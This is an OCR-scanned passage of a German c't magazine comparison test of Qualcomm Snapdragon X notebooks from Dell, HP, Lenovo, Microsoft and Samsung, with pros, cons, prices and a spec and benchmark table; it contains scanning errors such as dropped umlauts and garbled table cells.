schiitzende Acrylglasscheibe, aber nicht wie sonst iblich mit
spiegelnder, sondern mattierter Oberflache - bravo!

Gemal Produktbeschreibung solle diese auch bei kiinfti-
gen Modellvarianten an Bord sein, die hoher auflésende Touch-
screens in IPS- oder OLED-Bauweise haben. Auf Kundenwunsch
will Dell spater auch SSDs bis 2 TByte einbauen, bis zu 64 GByte
Arbeitsspeicher einléten und die Hardware in ein dunkles Ge-
hause stecken. Zum Testzeitpunkt war ausschlieBlich die flr
1450 Euro gekaufte helle Ausstattungsvariante mit 512er-SSD
und 16 GByte RAM verflgbar.

Dell legt passend zum kleinen Notebook ein schnuckeliges
USB-C-Netzteil mit in den Karton. Etwas anderes als zweimal
USB-C gibt es am XPS 13 aber auch gar nicht.

Beim Prozessor ist immer der Snapdragon X Elite X1E-80-
100 mit Turbo vorgesehen. Das XPS 13 entlockt ihm eine hohe
Rechenleistung, muss daflir aber die Abwarme schon kurz
nach Lastbeginn horbar aus dem Gehause blasen.

Die Tastatur hat normale Abmessungen, muss sich jedoch
ob des kleinen Gehauses Uiber die volle Breite erstrecken. Wer
bei fliissigem Tippen ein bisschen daneben rutscht, etwa auf
der Enter-Taste, landet sofort auf dem harten und eher scharf-
kantigen Metallrahmen, der um den gesamten Rumpf lauft.
Wie dereinst bei MacBooks mit Touch Bar gibt es keine physi-
schen F-Tasten, sondern eine durchlaufende Sensorflache
ohne splrbare Grenzen. Wer haufig F-Tasten verwendet, argert
sich darliber massiv; zudem empfinden wir die flimmernde
Beleuchtung der einzelnen Abschnitte nahe am unteren Bild-
schirmrand als stérend. Dem Touchpad fehlen spiir- wie sicht-
bare Begrenzungen; anders als bei den F-Tasten kommt man
damit aber intuitiv klar.

Die Vorinstallation hinterlie3 einen unfertigen Eindruck:
Dells Hilfsprogramm SupportAssist konnte nicht sofort ge-
startet werden, sondern forderte erst noch die Installation des
.NET-Frameworks - das hétte Dell locker dazu packen kénnen.

kompakte Abmessungen
hohe Rechenleistung

© nur USB-C

© Sensorstreifen statt F-Tasten

Preis Testkonfiguration: 1450 Euro
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HP OmniBook X Al 14 (fe0)

HP wirft mit dem Aufkommen der KI-Notebooks sein bisheriges
Namensschema Uber den Haufen: Envy, Pavilion und Spectre
haben ausgedient. Stattdessen belebt HP fiir alle Consumer-
Notebooks jetzt den althergebrachten Familiennamen Omni-
Book wieder.

HP verwendet an den Seiten die offiziellen Logos des Stan-
dardisierungsgremiums USB-IF, um die USB-Buchsen zu be-
schriften, tut dies aber nicht korrekt. Laut Beschriftung (und
auch Datenblatt) liefert nur eine der beiden USB-C-Buchsen
USB4 mit 40 Gbit/s. Tatsachlich wurde unsere USB4-Test-SSD
aber auch an der anderen mit voller Geschwindigkeit im NVMe-
Modus angesteuert, statt auf 10 Gbit/s limitiert zu sein. Bis Re-
daktionsschluss hatte HP keine Erklarung fir diese Kuriositat
(und auch nicht daftir, warum die Poly-Webcam nach einem
Neustartimmer deaktiviertim Gerdtemanager angezeigt wurde).
Wer die USB-A-Buchse auf der rechten Seite nutzen will, muss
vor dem Einstecken einen Unterkiefer herunterklappen.

Wahrend das OmniBook X Al 14 hinsichtlich Gewicht, Per-
formance, Lifterlautstérke und Preis auffallig unauffallig mit-
schwimmt und bei den Akkulaufzeiten mit zu den Besten ge-
hort, muss man bei zwei Punkten explizit Abstriche machen.
Als einziges Notebook im Testfeld unterstiitzt es kein Wi-Fi 7,
sondern nur Wi-Fi 6E: also zwar 6-GHz-WLAN, aber eben eine
Generation élter als bei der Konkurrenz. Und der IPS-Touch-
screen hat zwar modernes 16:10-Format, lauft aber nur mit
klassischen 60 Hz und schafft bestenfalls 250 cd/m?. Alle Kon-
kurrenten sind mindestens 100 cd/m? heller.

Zum Redaktionsschluss war das OmniBook mit gleich flinf
verschiedenen Modellnummern bei Handlern gelistet, hinter
denen sich aber immer dieselbe Hardwareausstattung (X1E-
78-100, 16 GByte, 1-TByte-SSD) flir 1300 Euro verbarg. Bei ein-
geschaltetem Notebook ladt der Akku nur langsam.

Der in die Tastatur integrierte Einschalter sticht optisch
mit hellblauer Tastenkappe hervor. Die F-Tasten sind in hellgrau
gehalten und damit ebenfalls in einem anderen Farbton als
das restliche Tastenfeld. HP quetscht neben dem Cursorblock
auch die Enter-Taste in eine Zeile.

Lenovo ThinkPad T14s Gen 6

Die ersten flinf Generationen von Lenovos leichtem Business-
Vollblut ThinkPad T14s wurden von Intel-CPUs angetrieben;
jetzt ist Qualcomms Snapdragon X Elite an der Reihe. Zwei
USB4-fahige USB-C-Buchsen, zwei im alteren USB-A-Format
sowie HDMI-Ausgang und Audiobuchse gewéhrleisten, dass
man im Alltag ohne Adapter klarkommt.

Wegen der Buchsen ist das Gehaduse nicht das aller-
schlankste, doch dicklich bedeutet nicht schwer: Mit nur 1,2
Kilogramm spielt das T14s ganz vorne mit. Mit Giber 34 Stunden
Akkulaufzeit setzt sich das Geréat sogar deutlich an die Spitze.
Der Lifter lauft friih an, wird im Werkszustand aber dank nied-
riger Drehzahl nie nervig laut (0,6 sone). Stattdessen wird bei
anhaltender Rechenlast die CPU-Performance gedrosselt.

Die langen Laufzeiten gehen zu einem gewissen Teil auf
den Bildschirm zuriick: Das Testgerat hatte keinen hochauflo-
senden OLED-Blender, sondern ein effizientes Low-Power-Panel,
das mit1920er-Auflésung, 60 Hertz, 16:10-Format, matter Ober-
flache, immerhin sRGB-Abdeckung und bis zu 400 cd/m? kaum
zu Kompromissen zwingt. Als Alternative steht ein mattes
120-Hz-OLED bereit, sodass man das Notebook auf Wunsch und
Kosten der Laufzeit in diese Richtung trimmen kann.

Bei Redaktionsschluss war das T14s ausschlieBlich in der
getesteten 1900-Euro-Konfiguration erhéltlich. Das OLED-Pa-
nel soll spater im Konfigurator auf Lenovos Webseite auftau-
chen, wo man dann auch andere SSD-Kapazitaten und bis zu
64 GByte Arbeitsspeicher bekommt. Zum Lieferumfang ge-
horen drei Jahre Garantie, die sich gegen Aufpreis auf bis zu
fanf Jahre Vor-Ort-Service ausdehnen lassen.

Die beleuchtete Tastatur geféllt nicht nur wegen des an-
genehmen Tippgefiihls, sondern auch aufgrund ihres perfekt
angepassten Layouts: Die Enter-Taste ist zweizeilig und der
Cursorblock wurde nach vorne gezogen, sodass die Pfeiltasten
eine praktikable GroB3e haben. Endlich findet man die Fn-Taste
nicht mehr links auB3en, sondern wie bei allen anderen Note-
books erst an zweiter Stelle nach Strg. Der Mauszeiger lasst
sich sowohl per Touchpad als auch Uber einen ins Tastenfeld
eingelassenen Trackpoint bewegen.

© lange Laufzeit

© USB-Buchsenbeschriftung falsch
© kein Wi-Fi 7

© dunkler Bildschirm

Preis Testkonfiguration: 1300 Euro

© sehr lange Laufzeit
© lange Garantie

© tolle Tastatur

© Bildschirm nur 60 Hz

Preis Testkonfiguration: 1900 Euro
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Lenovo Yoga Slim 7x (14Q8X9)

Unter dem Familiennamen Yoga verkauft Lenovo seit ge-
raumer Zeit viele Oberklassegerate in verschiedenen Bau-
formen. Anders als in den Anfangszeiten vor tiber 10 Jahren
hat das Yoga Slim 7x zwar einen Touchscreen (ein OLED-
Panel in 16:10), ist aber kein Hybridgerdt mit 360-Grad-
Scharnieren.

Der Bildschirm hat 14,5-Zoll-Diagonale, wodurch das
Notebook etwas groBer ausféllt als die anderen 14-Zéller im
Testfeld. Das kommt der Kiihlung zugute: Der Snapdragon
X1E-78-100 schafft im Werkszustand eine hohe Rechenleis-
tung, ohne dass die Lifter ibermaBig laut werden - horbar
sind sie aber.

Der dicke 70-Wh-Akku verhilft dem Notebook zu sehr lan-
gen Laufzeiten: Wir haben Gber 27 Stunden bei wenig Last und
fast 17 Stunden bei Videowiedergabe gemessen. Damit spielt
es ganz vorne mit; besser ist nur das ThinkPad T14s. Und auch
die rund 1,3 Kilogramm Gewicht kdnnen sich ob der Bildschirm-
groBe sehen lassen.

Das Yoga Slim 7x gehort zu den wenigen Notebooks, die
Uberhaupt und dann auch direkt zum Start mit 32 GByte Ar-
beitsspeicher verfligbar sind - wie getestet flir 1600 Euro. Flr
100 Euro weniger gibt es die obligatorischen 16 GByte auf-
geloteten LPDDR5-RAM und fiir weitere 100 Euro Abschlag
nur 512 GByte statt 1 TByte SSD-Speicherplatz. Andere Aus-
stattungsvarianten sind nicht vorgesehen; auch gibt es das
Vollmetallgehause ausschlieBlich in (durchaus schickem) Dun-
kelblau.

Uber einen Schieber an der rechten Seite lasst sich die
Webcam deaktivieren. Am Notebook stehen drei USB-C-Buch-
sen bereit, aber keine weiteren Ausgéange. Fir VGA, HDMI,
USB-A und analoges Audio liegt ein USB-C-Mini-Dock mit im
Karton. Dennoch kommt man in die Versuchung, selbst Adap-
ter nachzukaufen: Der Audioausgang liefert nur eine arg nied-
rige Spannung (0,1 statt Ublicherweise 1,0 Volt) und damit
geringe Lautstarke. Zudem ist das Dock-Gehause arg klobig
und hat keinen Stromeingang.

© lange Laufzeit

© vergleichsweise leicht

© nur USB-C

© beigelegtes Mini-Dock liberzeugt nicht

Preis Testkonfiguration: 1600 Euro

Microsoft Surface Laptop 7 13,8"

Wahrend die meisten Hersteller ihre Notebooks mit Snap-
dragon X zum Start gleich mit dem Elite-Zwolfkerner anbieten,
verwendet Microsoft im Surface Laptop 713,8" auch den Zehn-
kerner Snapdragon X Plus: Er steckt im getesteten 1200-Euro-
Einstiegsmodell. Im Alltag diirfte man kaum wegen der ziem-
lich genau zehn Zwolftel an Elite-Rechenleistung an Grenzen
stoBen, viel eher hat man die mageren 256 GByte SSD-Spei-
cherplatz vollgeschrieben.

Mit alltagstauglichen 512 GByte sind dann aber schon 1450
Euro fallig. Erst ab diesem Preis stehen mit Blau, Beige und
Schwarz auch andere Gehausefarben zur Auswahl. Mit auf 32
GByte verdoppeltem Arbeitsspeicher bekam man bei Redak-
tionsschluss nur den groBen Bruder Surface Laptop 15". Der
fallt wiederum unerwartet schwer aus, wahrend das 13,8-Zoll-
Modell mit bis auf den fehlenden MicroSD-Kartenleser identi-
schen Schnittstellen 1,3 Kilogramm auf die Waage bringt. Das
liegt fur diese GroBe im Ublichen Rahmen.

Wegen des kleineren Akkus beim 13,8-Zéller sind im Op-
timalfall (wenig Last bei 100 cd/m?) nur gut 22 Stunden Akku-
laufzeit drin, was immer noch ordentlich ist; auch mehr als 12
Stunden Videoabspielen ist ein guter Wert. Allerdings lasst
sich der leere Akku nur arg lahm aufftillen, weil Microsoft ledig-
lich ein mageres 39-Watt-Netzteil mit in den Karton legt. Es
haftet wie Apples MagSafe-Kabel magnetisch am Notebook;
anders als MagSafe taugt die proprietdre Schnittstelle auch
zum Anschluss eines Dock (Surface Dock 2).

Selbst bei Dauerlast bleibt das Notebook im Werkszu-
stand die meiste Zeit lautlos und beférdert nur hin und wieder
mit einem kurzen und horbaren Luftsto3 den Hitzestau aus
dem Gehéause. Die Rechenleistung fallt eher unterdurch-
schnittlich aus; wer mehr méchte, kann in den Windows-Ein-
stellungen das Energieprofil von ,Empfohlen” auf ,Bessere
Leistung” oder ,Beste Leistung” umstellen - zulasten des
Energieverbrauchs und der Lautstédrke. Die Akkulaufzeiten
sinken ebenfalls stark, wenn man die tiberdurchschnittliche
Bildschirmhelligkeit von bis zu 500 cd/m? Gber langere Zeit
voll nutzt.

© lange Laufzeit

© sehr leise unter Last

© unterdurchschnittliche Performance
© ladt lahm

Preis Testkonfiguration: 1200 Euro

c't 2024, Heft 17
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Microsoft Surface Laptop 7 15"

Microsoft nutzt das groBere Gehause des Surface Laptop mit
15-Zoll-Bildschirm, um im Unterschied zum kleineren 13,8-Zoll-
Geschwisterchen auch noch einen Kartenleser unterzubrin-
gen. Dieser nimmt MicroSD-Kéartchen auf, liest flotte Exemp-
lare, aber nicht mit maximaler Geschwindigkeit aus.

Der Unterschied in den Bildschirmdiagonalen sorgt fur
merklich mehr Bildflache, aber auch splrbar mehr Gewicht:
Mit fast 1,7 Kilogramm ist der Surface Laptop 715" der schwers-
te Brocken im Testfeld - selbst Samsungs 16-Zéller ist leichter.

Bei den Akkulaufzeiten spielt der groBe Laptop ganz vorne
mit: Wir haben Uber 25 Stunden bei geringer Systemlast (100
cd/m?) und fast 15 Stunden beim Videoabspielen ermittelt. Der
Bildschirm schafft maximal fast 500 cd/m?, was selten ist, aber
beim Betrieb im Freien auch notwendig, weil die Bildschirm-
oberflache spiegelt. Fahrt man den Bildschirm manuell voll aus,
zieht die Hintergrundbeleuchtung Uberproportional viel Saft,
was die Akkulaufzeiten rasant zusammenschrumpfen lasst.

Microsoft verkauft den Surface Laptop 715" ab 1550 Euro;
unser Testgerat entspricht dem Einstiegsmodell (16 GByte,
knappe 256er-SSD). Der Startpreis ist deutlich hoher als der
vom kleineren Geschwisterchen (1200 Euro). Anders als bei
diesem gibt es keine Ausstattungsvarianten mit dem Zehn-
kerner Snapdragon X Plus, sondern ausschlieBlich mit dem
Elite-Zwolfkerner. Das Einstiegsmodell gibt es nur in dem von
Microsoft ,Platin” getauften Silberton und das Topmodell
(2500 Euro, 32 GByte, 1 TByte) nur in Schwarz; mittlere Konfi-
gurationen sind in beiden Farben erhaltlich. Kiihles Blau und
warmes Beige sind dem 13,8-Zoll-Modell vorbehalten.

Im Werkszustand (Energieprofil ,Empfohlen”) erreicht des-
sen Rechenleistung nicht das Niveau anderer Konkurrenten,
doch im Gegenzug hért man den Lufter nur in ganz wenigen
Fallen (und selbst dann nur fiir ein paar Sekunden) - die meis-
te Zeit ist einfach Stille. Die Tastatur gefallt mit zweizeiliger
Enter-Taste; ein Ziffernblock ist nicht vorhanden. Anders als
friher haben die Tasten bei silbernen Modellen keine silbernen
Tasten mehr, sondern solche in Dunkelgrau. Dadurch erkennt
man die Beschriftung auch dann noch, wenn die Tastenbe-
leuchtung angeht, man aber nicht in volliger Dunkelheit sitzt.

Microsoft Surface Pro 11

Von allen Surface-Geraten mit Snapdragon X hat das Windows-
Tablet Surface Pro die groBten Renovierungen erfahren. So
gibt es dort in Topmodellen erstmals einen farbstarken OLED-
Bildschirm. Und die neue Tastaturhlle bringt einen integrier-
ten Akku mit, sodass man sie nun praktischerweise auch in
einigem Abstand vom Tablet verwenden kann.

Das Surface Pro 11 startet bei 1200 Euro mit dem Zehn-
kerner Snapdragon X Plus, doch den OLED-Bildschirm gibt es
erst in Kombination mit dem Zwolfkerner Snapdragon ab 1800
Euro. Wer 32 statt 16 GByte Arbeitsspeicher wiinscht, muss
zum Topmodell fiir 2500 Euro greifen. Letzteres gibt es aus-
schlieBlich in Silber, glinstigere Konfigurationen hingegen
auch in Schwarz, Blau und Beige.

Die SSD-Kapazitaten sind mager und die Aufpreise hoch,
doch ein Umristen ist nach dem Kauf grundsétzlich moglich:
Hinter dem integrierten Kickstand findet man eine magnetisch
gehaltene Abdeckplatte und darunter die SSD als verschraub-
tes M.2-2230-Kartchen. Offiziell ist das allerdings nur eine
Option fur zertifizierte Servicetechniker.

Alle bislang genannten Preise beziehen sich ausschlieBlich
auf das Tablet selbst. Tastaturcover und Stift muss man extra
erwerben: Das in Blau oder Schwarz erhéltliche Flex-Keyboard
kostet 410 Euro und der Slim Pen 130 Euro. Es gibt sie auch im
Bundle - fiir 530 Euro. Die Angaben in der Tabelle am Artikel-
ende gelten allesamt fiir die Kombination von Tablet mit Flex-
Tastatur und Stift.

Der Namenszusatz Flex ist librigens kein Hinweis auf eine
biegsame Tastatur, ganzim Gegenteil. Sie ist sogar ausgespro-
chen starr, was einen préazise tippen lasst. Wie bei bisherigen
Pro-Tastaturen lasst sich der Stift in einer Aussparung parken
und dort drahtlos laden.

Die CPU-Performance ist im Werkszustand unterdurch-
schnittlich, wahrend man dafiir den Lfter fast nie zu Ohren
bekommt. Wenn er loslegt, klingt seine Rauschkulisse ange-
nehmer als die Lufter der Laptops. Die Akkulaufzeiten sind
knapp die klrzesten aller drei neuen Surface-Gerate. Glnsti-
gere Pro-Varianten mit IPS- statt OLED-Bildschirm haben einen
kleineren Akku. Ein analoger Audioausgang fehlt immer.

© lange Laufzeit

© sehr leise unter Last

© unterdurchschnittliche Performance
© ladt lahm

Preis Testkonfiguration: 1550 Euro

© erstes Surface mit OLED-Bildschirm
© sehr leise unter Last

© unterdurchschnittliche Performance
© teures Zubehor

Preis Testkonfiguration: 2980 Euro
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Samsung Galaxy Book4 Edge 14"

Wem bei Notebooks nicht nur eine lange Akkulaufzeit, sondern
auch ein geringes Gewicht wichtig sind, kann sich das Galaxy
Book4 Edge 14" ndher ansehen. Der 14-Zo6ller wiegt weniger
als 1,2 Kilogramm und unterbietet damit sogar knapp das klei-
nere XPS 13 (9345).

Wahrend der X1E-80-100 im Geekbench keine Probleme
hat, standesgemalBe Werte zu erzielen, sieht es im Cinebench
anders aus: Die Singlethreading-Leistung ist top, aber offen-
sichtlich genligt schon die Dauer eines Messdurchlaufs auf
allen Kernen, um das Kihlsystem an seine Grenzen zu fiihren:
Die Multithreading-Werte fallen sehr niedrig aus. Das gilt auch,
wenn man den Leistungsregler im Hilfsprogramm ,,Samsung
Settings” nicht in der voreingestellten mittleren Stufe belasst,
sondern voll aufdreht. Dann rauscht es aber mit 0,7 sone,
statt dass der Lufter nahezu unhorbar leise bleibt (unter 0,1
sone).

Neben den Cinebench-Auffalligkeiten waren die Galaxy
Book4 Edge die einzigen Snapdragon-Notebooks, bei denen
der 3DMark im Akkubetrieb manchmal abstirzte - irgendwas
im Hintergrund lief noch nicht ganz rund. So etwas zeigte
sich auch am Hilfsprogramm Quick Share: Es dréangelte sich
wahrend der Tests gerne in den Vordergrund, doch wenn
man das Fenster wegklickt, hangt sich der Prozess auf und
verursacht bis zu 10 Prozent CPU-Last im Hintergrund. Wir
haben Quick Sync daraufhin kurzerhand aus dem Autostart
geworfen.

Samsung verkauft das Galaxy Book4 Edge 14" nur wie hier
getestet als 17700-Euro-Gerat mit 16 GByte Arbeits- und 512
GByte Massenspeicher. Aufriisten lasst sich nichts davon: Hier
ist nicht nur wie bei allen anderen Kandidaten das LPDDR5-RAM
aufgeldtet, sondern auch der Flash-Baustein. Letzterer ist keine
verkappte NVMe-SSD, sondern spricht UFS 4.0. eMMC war vor
langer Zeit mal ein Vorlaufer. Dessen einst lahme Performance
ist aber passé: Es gibt hier NVMe-typische Geschwindigkeiten
weit jenseits von SATA-Speed.

sehr leicht
leiser Betrieb
© nicht aufriistbar
© unausgereiftes Hersteller-Tool

Preis Testkonfiguration: 17700 Euro

Samsung Galaxy Book4 Edge 16"

Das Galaxy Book4 Edge 16" ist derzeit das einzige Snapdragon-
X-Notebook mit Qualcomms Topmodell X1E-84-100, das einen
von 3,4 auf 3,8 GHz erhohten Basistakt mitbringt. Taktraten
fir die integrierte GPU nennt Qualcomm nicht, doch auch
diese liefert hier mehr Grafikleistung als in den 80er- und 78er-
Modellen ab.

Samsungs Ingenieure nutzten das gro3e Gehause fiir eine
deutlich andere Abstimmung als beim 14-Zoll-Modell: Auch
bei anhaltender Last erzielt das Notebook im Werkszustand
(Energieprofil ,Optimiert”) eine hohe Rechenleistung, ohne
dabei laut zu werden (0,3 sone). Bei ,voller Leistung” gibt es
mehr - also sowohl an Performance als auch auf die Ohren.

Dabei hilft, dass das Notebook nicht einfach ein aufgebla-
sener 14-Zéller ist, sondern eine eigenstandige Entwicklung:
Die HDMI-Buchse sitzt hier links, rechts gibt es neben einer
klassischen USB-A-Buchse auch einen Kartenleser. Letzterer
bremst flotte MicroSD-Kéartchen allerdings aus.

Ein Highlight ist der Bildschirm: Wer groBBe Notebooks
mag, wird an dem riesigen, farbstarken OLED-Touchscreen
seine Freude haben. Anders als beim kleinen Bruder schafft
es der 16-Zoller aber nicht, im Akkubetrieb die volle Helligkeit
zu halten, wenn groBere helle Flachen anzuzeigen sind: Wir
haben dann maximal 320 cd/m? gemessen.

Durch diesen Kniff schafft das Galaxy Book4 Edge 16" 8hn-
lich lange Laufzeiten wie das 14-Zoll-Modell, der etwas groBere
Akku allein hatte nicht gereicht. Flir unsere Messungen haben
wir Quick Share aus dem Autostart geworfen.

Das 2100-Euro-Testgerat entspricht dem Topmodell. Sam-
sung verkauft das Galaxy Book4 Edge 16" alternativ mit hal-
biertem Speicherplatz (512 GByte statt 1 TByte) und schwa-
cherem X1E-80-100 flir 1800 Euro. Mehr als 16 GByte Arbeits-
speicher sieht Samsung nicht vor, und auch der UFS-Massen-
speicher ist unabdingbar aufgelotet.

Wahrend Vielschreiber die zweizeilige Enter-Taste begri-
Ben und sich mit dem einzeiligen Cursorblock vielleicht noch
arrangieren mogen, erfordert das Layout des Ziffernblocks viel
Training: Er hat nur drei statt wie tblich vier Spalten, wodurch
viele Tasten nicht da liegen, wo man sie erwartet.

hohe Performance
leiser Betrieb
© nicht aufriistbar
© unausgereiftes Hersteller-Tool

Preis Testkonfiguration: 2100 Euro
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Windows 11 24H2 fiir diese Hardware be-
reitstehen wird, ist unklar. Wir gehen
davon aus, dass diese Version und alle
damit verbundenen KI-Neuerungen erst
irgendwann im Herbst nachgeliefert wer-
den. Notebooks mit Ryzen AI 300 und

Core Ultra 200V diirften zum Verkaufs-
start somit noch nicht die allerneuste Win-
dows-11-Version bekommen, wie es bei
Snapdragon-X-Geriten der Fall ist.

Im Herbst will wiederum Qualcomm
schon die zweite Welle an Snapdragon-

X-Geridten starten: Dann kommt ein
CPU-Ableger mit maximal acht Kernen,
der Mittelklasse-Notebooks flir unter
1000 Euro ermoglichen wird. Das ist ein
preislich viel attraktiveres Marktsegment
fir die Hersteller und damit eines, indem

Notebooks mit Qualcomm Snapdragon X: Daten und Testergebnisse

_ Asus Vivobook $ 15 (S5507Q) Dell XPS 13 (9345) HP OmniBook X Al 14 (fe0) Lenovo ThinkPad T14s Gen 6

getestete Konfiguration 90NB14Q2-M002R0 bn93802sh fe0370ng 21N10007GE

Lieferumfang Windows 11 Home, Netzteil Windows 11 Pro, Netzteil Windows 11 Home, Netzteil Windows 11 Pro, Netzteil

Schnittstellen (V = vorne, H = hinten, L = links, R = rechts, U = unten)

HDMI / DisplayPort / Kamera (Hello)
USB / LAN / Klinke

L/=/v V)
2IXL@XTypC),2xR/—/L

—-/=/Y W)
1XL(pCL1xR(WypC)/—/—

-/=/v )
2xL2XTypC),1xR/—/R

L/=/Y )
2IXL@XTyC),2xR/—/L

Kartenleser / Strom / Docking-Anschluss

USB-C: 40 Gbit/s / 10 Gbit/s / DisplayPort /
Laden

Ausstattung

L (MicroSD) / — / —
VIV IV

=f=[=
VIV

_/_/_
VIV IV Y

=)=f=
VIV Y

Display 15,6 Zoll (39,6 cm), 2880 x 1620, 13,4 Zoll (33,9 cm), 1920 x 1200, 14 Zoll (35,6 cm), 2440 x 1400, 14 Zoll (35,5 cm), 1920 x 1200,
16:9, 212 dpi, 120 Hz, 6 ... 360 cd/m?,  16:10, 169 dpi, 120 Hz, 40 ... 389 cd/m?  16:10, 205 dpi, 60 Hz, 13 ... 241 cd/m?  16:10, 162 dpi, 60 Hz, 5 ... 397 cd/m?,
spiegelnd, OLED matt, IPS spiegelnd, IPS matt, IPS

Prozessor Qualcomm Snapdragon X Elite Qualcomm Snapdragon X Elite Qualcomm Snapdragon X Elite Qualcomm Snapdragon X
X1E-78-100 (12 P-Kerne) X1E-80-100 (12 P-Kerne) X1E-78-100 (12 P-Kerne) Elite X1E-78-100 (12 P-Kerne)

Hauptspeicher / SSD 16 GByte LPDDR5 / Micron 2400 16 GByte LPDDR5 / Kioxia BG6 16 GByte LPDDR5 / Kioxia BGS 32 GByte LPDDR5 / WDC SN740
(1024 GByte) (512 GByte) (1024 GByte) 1024 GByte)

KI-Einheit Qualcomm Hexagon Qualcomm Hexagon Qualcomm Hexagon Qualcomm Hexagon

Grafikeinheit (Speicher) Qualcomm Adreno X1-85 Qualcomm Adreno X1-85 Qualcomm Adreno X1-85 Qualcomm Adreno X1-85
(vom Hauptspeicher) (vom Hauptspeicher) (vom Hauptspeicher) (vom Hauptspeicher)

Sound Qualcomm Agstic Qualcomm Agstic Qualcomm Agstic Qualcomm Agstic

LAN / WLAN — / —/ Qualcomm 7800 — / —/ Qualcomm 7800 — / —/ Qualcomm 6900 — / —/ Qualcomm 7800

(Wi-Fi 7, 2 Streams)
HID (max. 4 Finger) / —

(Wi-Fi 7, 2 Streams)
HID (max. 4 Finger) / Goodix

(Wi-Fi 6E, 2 Streams)
HID (max. 4 Finger) / —

(Wi-Fi 7, 2 Streams)
Touchpad (Gesten) / Fingerabdruckleser HID (max. 4 Finger) / Goodix

Gewicht, Mafie, Stromversorgung

Gewicht / GroRe / Dicke mit Fiien 1,43 kg / 35,3 cm X 22,6 cm / 1,23 kg /29,5 cm x 19,8 cm / 1,33kg/ 31,3cmx 22,3¢cm / 1,21 kg / 31,3cm X 22,7 ¢cm /
1,7..2cm 14..16cm 15..1,7¢cm 2..22cm

Tastaturhohe / Tastenraster / Beleuchtung 1,2cm/ 19 mm X 18 mm / v/ 09cm/19mmx 18 mm /v 1cm/19mmx 185 mm/ v/ 1,6cm/ 19 mmx 19mm /v

Akku (Ladestopp < 100% einstellbar) 70 Wh Lithium-lonen (—) 55 Wh Lithium-lonen (—) 59 Wh Lithium-lonen (=) 58 Wh Lithium-lonen (—)

Netzteil (Notebookzuleitung abnehmbar) 90W,392¢(-) 60W, 253 ¢ (v) 65W,307 g (—) 65W,310 ¢ ()

bei USB-PD: 5/ 9/ 12 / 15 / 20 Volt mit ... 3/3/—/3/45Ampere 3/3/—/3/3Ampere 3/3/5/4,33/ 3,25 Ampere 3/3/—/3/325Ampere

Suspend / ausgeschaltet 1,3W/0,3W 1W/0,3W 08W/04W 08W/0,4W

ohne Last: Display aus / 100 cd/m? / max. 2,6W/59W/69W 21W/37TW/52W 19W/4,1W/52W 14W/32W/52W
CPU-Last / Video / 3D-Spiele (max. Helligkeit) ~ 68W / 12,1W /27 W 63W/84W/21W 66W/82W/21W 68W/75W/20W
max. Leistungsaufnahme / Netzteil-Powerfactor  92W / 0,92 64W /0,6 66 W /0,61 68W /0,59

Laufzeit, Gerausch, Benchmarks

Laufzeit Idle (100 cd/m?) / 20,1h/12,4h/4h 247h/143h/3h 26,1h/138h/3,6h 346h/15h/39h

Video (200 cd/m?) / 3D (max.)

Ladestand nach 1 h Laden 79 % 78% 50 % 81%

Gerdusch ohne / mit Rechenlast <0,1 sone / 1,3 sone <0,1 sone / 2,3 sone <0,1 sone / 0,6 sone <0,1 sone / 0,6 sone

Massenspeicher lesen / schreiben 3859 / 2842 MByte/s 4199 / 3689 MByte/s 2777 / 2255 MByte/s 4179 / 4023 MByte/s
Leserate SD-Karte 34 MByte/s — - -

WLAN 6 GHz / 5 GHz / 2,4 GHz (20m) 49-610 / 25-428 / 124-314 Mbit/s 106-614 / 54-479 / 138-333 Mbit/s  80-722 / 42-340 / 50-288 Mbit/s 176-555 / 117-518 / 204-328 Mbit/s

Qualitét Audioausgang / Dynamikumfang ® /96,2 dBA - @ /96,6 dBA ®® /120,4 dBA
CineBench 2024 (1T / nT) 106 / 950 Punkte 122 / 985 Punkte 100 / 808 Punkte 106 / 601 Punkte
GeekBench 6.2 (Single / Multi) 2446 / 14438 Punkte 2803 / 14790 Punkte 2355 / 13419 Punkte 2456 / 14594 Punkte
3DMark: Fire Strike / Time Spy / Solar Bay 6127 / 1845 / 9952 Punkte 6089 / 1872 / 10036 Punkte 5425 / 1818 / 9901 Punkte 5978 / 1846 / 9864 Punkte

Preis und Garantie

StraBenpreis Testkonfiguration 1300 € 1450 € 1300 € 1900 €
Garantie 2 Jahre 1 Jahr 2 Jahre 3 Jahre
@®sehrgut @ gut O zufriedenstellend @ schlecht OO sehrschlecht  +/vorhanden  — nicht vorhanden k. A. keine Angabe
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Notebooks mit Snapdragon X | Titel

sie viel hohere Stiickzahlen umsetzen. laufen also noch nicht mal die Windows-  [2] Florian Miissig, Kompakte 2023er, Sieben 13-
und 14-Zoll-Notebooks mit aktuellen Core-i-

Auch dort wird die dicke NPU an Bord  Studioeffekte. (mue@ct.de) ¢t Prozessoren, c't 13/2023, S. 76

sein, was AMD und Intel weh tut: In der . [3] Florian Miissig, Mobile Aschevégel, Kompakte

x86-Welt hat die Notebook-Mittelklasse Literatur Notebooks mit Ryzen 7040U, c't 25/2023, S. 114
e g e . . [1] Florian Miissig, Fliesennotebook, Asus ZenBook [4] Florian Miissig, Vom Leder gezogen, Edel-Note-

namlich iiberwiegend dltere CPU-Gene- 14 (UX3405) mit der Chiplet-CPU Core Ultra 7 book HP Spectre Folio 13 mit Amber Lake,

rationen ganz ohne NPU zu bieten. Da 155H, c't 4/2024, S. 64 €'t2/2019, 8.70

- Lenovo Yoga Slim 7x (14Q8X9) | Microsoft Surface Laptop 7 Microsoft Surface Laptop 7 45" | Microsoft Surface Pro 11 Samsung Galaxy Bookd Edge | Samsung Galaxy Book4 Edge
138" 14" 16"

83ED0014GE 2GJ-00005 ZHG-00005 ZID-0004 + 8YU-00006 NP940XMA-KB1DE NP960XMB-KB1DE

Windows 11 Home, Netzteil, Windows 11 Home, Netzteil Windows 11 Home, Netzteil Windows 11 Home, Netzteil, Windows 11 Home, Netzteil Windows 11 Home, Netzteil
Minidock (HDMI, VGA, Audio, Tastaturcover, Stift

USB-A)

-/=/v V) —/=IvV) -/=/vV) -/=/vY V) R/=/V () L/=/V ()
2xL(2X%TypC),1xR(MypC)/ 3xL2xTypC)/—/L 3xL@2xTypC)/—/L 2XL@2XTypC)/—/— 2XL(2xTypC)/—/R 2xL(2xTypC),1xR/—/R
-/=/- -/=/R R (MicroSD) / =/ R -/=/R —-/=/- R (MicroSD) / — / —
VIVIV IV VIV VIV VIV VIV VIV

